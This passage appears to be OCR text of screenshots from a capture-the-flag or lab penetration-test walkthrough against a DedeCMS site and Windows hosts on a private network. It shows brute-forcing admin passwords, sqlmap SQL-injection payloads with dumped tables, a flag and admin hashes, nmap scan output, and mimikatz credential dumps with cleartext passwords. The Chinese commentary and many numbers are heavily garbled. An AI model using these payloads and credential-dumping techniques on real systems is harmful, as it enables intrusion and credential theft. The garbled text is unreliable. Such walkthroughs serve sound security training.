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‘ Filter: Showing all itemns ‘@

Request Payload1 Payload2 | Status | Error | Timeout | Length ¥ | Comment

131 admin Tg2w3edr | 200 @ @ 1864 A

I 1] 200 O O 1496

1 admin 123456 com 200 O O 1490

2 admin 12323 200 & & 1490

3 admin idc1231@# 200 & & 1490

4 admin 123 200 O O 1480

5 admin aaal23@# 200 O O 1490

[ admin qq123.com 200 E E 1490

7 admin 123456 200 & & 1490

8 admin wantian#e | 200 O O 1480

9 admin qwe123 200 O O 1490

10 admin qwe1234 200 & | 1490 v
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"ebr fe<div style='width:d50px; padding: Opx; border:1px solid #DADADA; '=<div style='padding:6px; font-size:12px;bo | &
rder-bottom: 1px solid #DADADA; background: #0BEEBD url({/plus/img/whg. gif)';'»<b>DedelMs BRER ! </br</dive");

32 |document write("<div style="height:130px;font-size:10pt; background: #FFFFFF' =<hr F2"};

33 | document.write("FiINE®, FEWOWEHEEET "),

34 document.write("<br f:<a href='/dede/'=MIBMINMNESER, BSEEE. . </az<bri=</dive");

35 setTimeout('JumpUrl()', 1000); </script>
36 <fcenters
37 | &fbody> |
38 <fhtml=
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FFID: 1

FFP#KS: admin

FAPPEERG: S¥xx*f

L& R84 : SELECT * FROM topsec_admin WHERE id=1

RIFTLIEN, EE Z8H 7 THRTA BEE

Type: error-based

Title: MySQL = 5.8 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)

Payload: id=1 AND (SELECT 3144 FROM(SELECT COUNT(=*),CONCAT(@=x716b706a71,(SELECT (ELT(3144=3144,1))),
HEMA.PLUGINS GROUP BY x)a)

Type: time-based blind
Title: MySQL = 5.8.12 AND time-based blind (query SLEEP)
Payload: id=1 AND (SELECT 7725 FROM (SELECT(SLEEP(5)))yHuwW)

Type: UNION query
Title: Generic UNION query (NULL) - 1@ columns
Payload: id=1 UNION ALL SELECT NULL,NULL,CONCAT(@x716b706a71,0=6a4f7a4854476573436555615447634e427763
@6a71),NULL,NULL ,NULL ,NULL,NULL,NULL ,NULL— NinN
[@5 5] [INFO] the back-end DBMS is MySOL
back-end DBMS MySQL = 5.0
[@s 56 fetching database names
[@5 56] [WARNING] reflective value(s) found and filtering out
avallable databases [4&]:
[*] dedecmsv57utf8spl
[*] information_schema
[*] mysql
[*] performance_schema

[@s 56] [INFO] fetched data logged to text files under '/home/kali/.sqlmap/output/192.168.50.134'

[*] ending @ @5:44:56 /2020-82-16/

AEEER - MIEEFETHRSG, RAWMEERRRA

[05:46:45] [INFO] the back-end DBMS is MySQOL

back-end DBMS: MySQL = 5.0

[B5:46:45 0] fetching tables for database: 'dedecmsv57utf8spil’
B5:46: 45 | MING] reflective value(s) found and filtering out
Database: dedecmsv57utf8spl

[89 tables]

topsec_addonarticle
topsec_addonimages
topsec_addoninfos




topsec_addonshop
topsec_addonsoft
topsec_addonspec
topsec_admin
topsec_admintype
topsec_advancedsearch
topsec_arcatt

topsec_arccache
topsec_archives
topsec_arcmulti
topsec_arcrank
topsec_arctiny
topsec_arctype
topsec_area

KB EflaghHINE

)6 7] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL = 5.0

[@5:49:17] [I ] fetching entries of column(s) 'flag, id' for table 'flag' in database 'dedecmsv57utf8sj
[05:49:17] [W. ING] reflective value(s) found and filtering out

Database: dedecmsv57utf8spl

Table: flag

[1 entry]

Al LAR F 2 —/Mlag

H&EEtopsec_adminXMRKWE, FWLAEREITERRKHE P ZRAED

52:14] [INFO] the back-end DBMS is MySQL
back end DBMS: MySQL = 5.0
[ 14] [INFO] fetching entries of column(s) 'email, id, pwd, tname, uname, userid' for tabl
85:52:14] [WARNING] reflective value(s) found and filtering out
Database: dedecmsv57utf8spl
Table: topsec_admin

[2 entries]

<blank> | 1 7cdbef195a0f7622a9c5 | <blank>
<blank> topsec.123




f# Finmapx$192.168.50.1-2553 4743 #, 7 LAFE $192.168.50.1301338%%4% L FF j3 T @2k, HEEIERZ4 £windows

0S details: Microsoft Windows XP SP3, Microsoft Windows XP SP3 or Windows 7 or Windows Server 2012
Service Info: 05: Windows; CPE: cpe:/o:microsoft:windows

Nmap scan report for 192.168.50.130

Host is up (@.2011s latency).

Not shown: 991 filtered ports

PORT STATE SERVICE VERSION

135/tcp open msrpc Microsoft Windows RPC

139/tcp open netbios-ssn Microsoft Windows netbios-ssn

445/tcp open microsoft-ds Microsoft Windows 7 - 1@ microsoft-ds (workgroup: TEST)

3389/tcp open ssl/ms-wbt-server?

49152/tcp open msrpc Microsoft Windows RPC

4£9153/tcp open msrpc Microsoft Windows RPC

49155/tcp open msrpc Microsoft Windows RPC

49156/tcp open msrpc Microsoft Windows RPC

49157/tcp open msrpc Microsoft Windows RPC

Warning: 0SScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose

Running: Microsoft Windows XP|7|2012

0S CPE: cpe:/o:microsoft:windows_xp::sp3 cpe:/o:microsoft:windows_7 cpe:/o:microsoft:windows_server_2012
0S details: Microsoft Windows XP SP3, Microsoft Windows XP SP3 or Windows 7 or Windows Server 2012
Service Info: Host: TOPSEC; 05: Windows; CPE: cpe:/o:microsoft:windows

Nmap scan report for 192.168.50.134

Host is up (0.0011s latency).

Not shown: 998 filtered ports

PORT  STATE SERVICE VERSION

22/tcp open ssh OpenSSH 6.4 (protocol 2.8)

8@/tcp open http Apache httpd 2.4.6 ((Cent0S) OpenSSL/1.8.1e-fips PHP/5.4.16)
Warning: 0SScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose

Running: Linux 2.4.X|3.X

0S CPE: cpe:/o:linux:linux_kernel:2.4.37 cpe:/o:linux:linux_kernel:3.2

0S details: DD-WRT w24-sp2 (Linux 2.4.37), Linux 3.2

05 and Service detection performed. Please report any incorrect r95ul$§,at Bt %ﬂnmﬁ ,Or ﬂﬁu@w}?
ILL - i o)

0 1.NEUW

Nmap done: 255 IP addresses (3 hosts up) scanned in 137.89 seconds
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2 mimikatz 2.1 x86 (oe.ea)

Logon Server
Logon Time

: HIN-JDS94CH5QEQQ

: 2020/2/716 17:12:01

i L tsclient

T

) L WIN-JDSS4C5QEQQ

0 §-1-5-21-3162112726-21061240-2166559086-500

msy
[BBBABOAS] Prlmary

» Username : Administrator
Domain - TEST

= LM 1 3264dBBd3T2d8530Fb62879e33Fbb 745
= NTLH 1 9d5161ebc56e27949F872F96cdb95490
SHAL : 16403c35658bat605bid1Bectiddlodlfcaets9da

tspkyg

» Username : Administrator
= [omain o TEST e
= Password : TopSec_ 2@1?
wdigest :

» Username : Administrator
= [omain o TEST

= Password : TopSec_2017
kerberos :

» Username : Administrator
= [omain : TEST.COM

= Password : TopSec_2017
ssp

credman :
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BT HTRR, BE - TEENSERIp

B BES: G\windows\system32\cmd.exe

Microsoft Windows [ L B.1.76011
i _ﬁ (c) 28079 Microsoft Corporation. -

J—_EE Ping test.com [192.168.68.180]1 =5

B 192.168.60.100 R[0S )

=5 192.168.60.1600 {[d] : : TTL=128
B 192.168.60.100 HY[D] : TTL=128
B 192.168.60.100 {[0] Fh T8, TTL=128

C:Users\Adninistrator . ZGC-20168413JJL>

BT R AR B A P ARG 2 8 i I B 48
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@ BrIERCER | BREN,
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